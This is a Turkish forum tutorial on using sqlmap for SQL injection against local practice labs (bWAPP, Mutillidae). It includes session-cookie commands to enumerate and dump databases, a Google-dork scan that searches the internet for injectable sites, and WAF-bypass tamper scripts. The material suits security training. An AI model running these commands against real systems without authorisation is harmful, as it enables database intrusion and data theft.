18 Mayıs 2021, 10:04
|
#1 |
| | Linux SqlMap Kullanımı. Sqlmap sql injection açıkları için geliştirilmiş çok ileri seviye bir araçtır. Python diliyle yazılmıştır. Sqlmap başlı başına ayrı bir kitap konusu bu yüzden biz genel olarak basit bir şekilde kullanımını ve bir kaç modülünü göreceğiz. Sqlmap, sqlmap [parametreler] şeklinde kullanılır. Bilgi ve yardım için -h parametresini kullanabilirsiniz. İleri düzey parametreler için - hh komutu ile öğrenebilir ve bilgi alabilirsiniz.
Komut: Temel olarak tüm bağlantılarda kullanacağımız temel komut aşağıdaki gibidir.
Komut: Kod sqlmap -u “hedefsite.com/index.php?id=” --dbs İlk adımda bir dork tarayıp daha sonra localde kurduğumuz bir script üzerinden sql inj. saldırısı gerçekleştirelim. Dork taraması için -g parametresini kullanmamız gerekmektedir.
Dork: Komut: Kod sqlmap -u "inurl:news.php?id=" Burada verdiğimiz dork ile tek tek siteleri çekip ve çekilen sitede sql açığı olup olmadığını bizlere soruyor. Eğer hedef bağlantıda sql inj. açığı mevcut değil ise bir sonraki siteye geçer ve her site için kontrol edilip edilmeyeceğini bize sorar.
Hedef Site: Hedef site local’de çalıştırdığım bWAPP scriptidir. Bwapp scripti hakkında detaylı bilgi lab uygulamalarında verilmiştir.
Sql injection olan ilk soruyu açtığımızda bir arama formu çıkıp “’” meta karakteri ile hatayı aldık. şekilde görüldüğü gibi hatamızı aldık. Bunu sqlmap vasıtasıyla verileri çekelim. Sql inj. ile verileri çekmeden önce kurduğumuz sistem kullanıcı girişi yapıldıktan sonra sql inj. tespit edilmiştir. Bundan yola çıkarak sqlmap direk sisteme erişim sağlayamacağı için sqlmap’e cookieleri girmemiz gerekmektedir. Cookieleri çekmek için herhangi bir cookie editör kullanabilirsiniz.
Cookie: Alıntı: |
cpd3s47416v7j9pd55od17vrf1
| Security Level: Bunları sqlmap’te tanımlamak için –cookie parametresi kullanacağız.
Komut: Kod sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' --dbs Veritabanını çektik sıra tablolarda –tables parametreleri ile çekilir.
Komut: Kod sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP --tables bWAPP adlı veritabanındaki tabloları çekmiş olduk. Kolonları çekmek için –columns parametresi kullanılır.
Komut: Kod sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP -T blog --columns Sonuç: Alıntı:
Database: bWAPP
Table: blog
[4 columns]
+--------+--------------+
| Column | Type
|
+--------+--------------+
| date | datetime
|
| entry | varchar(500) |
| id
| int(10)
|
| owner | varchar(100) |
+--------+--------------+
| Kolonlardaki verileri çekmek için –dump parametresi kullanılır.
Komut: Kod sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP -T blog -C id,date --dump Örnek olarak burada id,date veri çekilme işlemi yapıldı içi boş değerler olduğu için sonuç vermedi. Bu işlemlerin tamamını çıktı olarak /root/.sqlmap/output/analiziyapılan şeklinde olarak txt formatında çıktımızı vermektedir.
Dosya Yolu: Alıntı: |
/root/.sqlmap/output/target
| Sqlmap Waf Bypass Scriptleri Hedef sistemde sql injectin varsa bile ve hedef sistemde waf olması durumlarda Waf Bypass scriptleri kullanılmaktadır. Bu scriptlere genel olarak tamper denilmektedir. Tamper scriptleri SqlMap’ın kurulu olduğu dizin altındaki tamper klasöründe bulunmaktadır.
Komut: Kod cd /usr/share/sqlmap/tamper
ls Tamper scriptleri python ile yazılmış olup tüm scriptlerin neler yapabileceğini öğrenmek isterseniz biraz programlama dili biliyorsanız scriptleride anlıyabilirsiniz. –tamper parametresi ile kullanılmaktadır. Bir örnek ile gösterecek olursak;
Örnek: Kod sqlmap -u http://localhost/lab/mutillidae/index.php?page=user-info.php&username=%27&password=bug&user-info-php-submit-button=View+Account+Details --dbs --tamper=space2comment Kaynak: Kali Linux Sayfa 142 |
|
| |